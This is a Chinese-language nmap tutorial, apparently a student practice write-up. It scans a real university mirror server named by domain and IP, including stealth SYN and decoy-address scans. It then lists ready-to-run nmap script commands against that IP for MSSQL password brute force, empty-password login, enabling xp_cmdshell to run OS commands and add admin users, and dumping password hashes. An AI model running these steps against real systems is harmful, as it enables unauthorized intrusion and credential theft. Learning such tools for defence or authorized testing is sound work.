目录
检测相关脆弱性漏洞
检测主机情况, 端口状态, 查看操作系统
破解数据库信息, 获得相应权限
了解脚本使用
环境
靶机: 域名 mirror.dlut.edu.cn
IP 为 202.118.65.164
三, 扫描测试
1. 扫描特定网站
例如网站 https:// mirror.dlut.edu.cn,IP 为 202.118.65.164, 使用扫描语句为 nmap -sT 202.118.65.164,-sT 为采用 tcp 扫描, 但是一般都默认为 tcp 扫描可以不写, 用 nmap 202.118.65.164 也是一样效果.
特点: 这是一种最为普通的扫描方法, 这种扫描方法的特点是: 扫描的速度快, 准确性高, 对操作者没有权限上的要求, 但是容易被防火墙和 IDS(防入侵系统) 发现
运行的原理: 通过建立 TCP 的三次握手连接来进行信息的传递
可以看出扫描的总时间为 54.12 秒, 开放的 80 端口, 使用 http 协议, 其中有 999 个端口被屏蔽, 可能开启了相关的防火墙策略.
2. 特定端口扫描
nmap -sT 202.118.65.164 -p 21,23,3389
可查看三个端口的服务, 三个端口都被过滤
3. 进行快速查找
正常情况下我们默认会最多查看 1000 个开发端口, 这时候可以利用快速查看的命令进行扫描 nmap -F -sT -v 202.118.65.164
-F: 快速扫描 100 个最有可能开放端口
-v 获取扫描的信息
同样查看相关端口状态及服务, 另外很重要的就是可以查看扫描的每个步骤的详细信息, 使用扫描时间短
4. SYN 扫描
nmap -sS 202.118.65.164(SYN 扫描)
这是一种秘密的扫描方式之一, 因为在 SYN 扫描中 Client 端和 Server 端没有形成 3 次握手, 所以没有建立一个正常的 TCP 连接, 因此不被防火墙和日志所记录, 一般不会再目标主机上留下任何的痕迹, 但是这种扫描是需要 root 权限 (对于 Windows 用户来说, 是没有 root 权限这个概念的, root 权限是 Linux 的最高权限, 对应 Windows 的管理员权限)
主要显示 http 和 https 相关的服务状态,
5. 掩饰访问的主机 ip
nmap -sP -D 1.1.1.1 202.118.65.164
-sP 为通过 ping 扫描,-D 为伪造地址
利用 wirshak 可以查看相关包情况, 有 ICMP 包, 而且有两个不同 ip 对主机进行同样的访问, 但是不可以进行替换
6. 查看路由与接口
nmap -iflist: 查看本地路由与接口
nmap 中提供了 - iflist 选项来查看本地主机的接口信息与路由信息. 当遇到无法达到目标主机或想选择从多块网卡中某一特定网卡访问目标主机时, 可以查看 nmap -iflist 中提供的网络接口信息. 和 route -n 功能一样
7. nmap 扫描生成 xml 文件
nmap -sT 202.118.65.164 -oX 1.xml
8. 获取相关 mssql 数据库信息的步骤
找的测试网站发现 1443 端口状态都是关闭的, 一直测试不到什么, 我就对每个步骤进行总结, 说明这几个脚本的用处, 知道了脚本的用处, 自然也就会使用了.
a. 脚本介绍
在对靶机进行扫描的时候, 可以实用相应的脚本进行攻击, 以此获得想要的内容, 在 / usr/share/nmap/scripts 下有很多可利用脚本, 我就说这次我用到几个脚本具体作用
ms-sql-info 发现数据库相关信息 (学习里面的脚本可以利用,
VIM 进去查看, 里面都有详细描述, 例如下面部分描述)
ms-sql-empty-password.nse 尝试使用空密码对 Microsoft SQL Server 进行身份验证 sysadmin(sa) 帐户.
ms-sql-xp-cmdshell.nse 利用 xp_cmdshell, 远程执行系统命令
ms-sql-brute.nse sa 弱口令爆破
ms-sql-hasdbaccess 得到 sa 账户和密码之后需要进行验证, 可以执行这个脚本
ms-sql-dump-hashes.nse 导出 mssql 中所有的数据库用户及密码 hash
b. 获取 mssql 数据库信息具体步骤
1) nmap -p1433 --script ms-sql-info 202.118.65.164 利用 MySQL 数据库 1443 端口扫描是否发现数据库相关的信息; 发现 1443 端口被过滤了
2) nmap -p1433 --script ms-sql-brute 202.118.65.164, 检查是否有弱口令和数据库身份验证, 需要运行以下 nmap 的脚本, 它会执行暴力破解
3)nmap -p1433 --script ms-sql-brute.nse --script-args userdb=/mssql/username.txt,passdb=/mssql/password.txt 202.118.65.164, 在前几步没有发现数据库情况下, 利用脚本使用字典更快发现数据库信息, username.txt 为字典名字, password.txt 为字典密码, 跑脚本看是不是会被命中
4)nmap -p1433 --script ms-sql-empty-password.nse 202.118.65.164, 检查密码是否为空, 使用这个尝试用空密码进行破解, 看是否可以进入数据库.
5) nmap -p1433 --script ms-sql-hasdbaccess.nse --script-args mssql.username=sa,password=123456 202.118.65.164
我测试时候没有看到用户密码, 在这假设上面步骤破解了 sa 帐户, 密码 123456. 我们可以使用这个信息来连接数据库直接执行脚本, 需要进一步 Nmap 有效身份认证. 如果我们想知道在哪个数据库 sa 帐户访问或任何其他账户, 可以运行 ms-sql-hasdbaccess 脚本.
6) 可以获取 mssql 数据库的表信息,
nmap -p1433 --script ms-sql-tables.nse --script-args mssql.username=sa,password=123456 202.118.65.164
7)nmap -p1433 --script ms-sql-xp-cmdshell.nse --script-args mssql.username=sa,password=123456 202.118.65.164 使用 ms-sql-xp-cmdshell.nse 脚本可以开启 xp_cmdshell, 然后就可以进入 os 命令界面, 然后就可以新建用户, 将用户在加入管理组等操作)
8)nmap --script=ms-sql-dump-hashes.nse --script-args mssql.username=sa,password=123456 202.118.65.164 最后可以利用的一个脚本就是哈希值破解密码 ms-sql-dump-hashes.nse, 可以查看其它用户的用户信息.
来源: http://www.bubuko.com/infodetail-3123586.html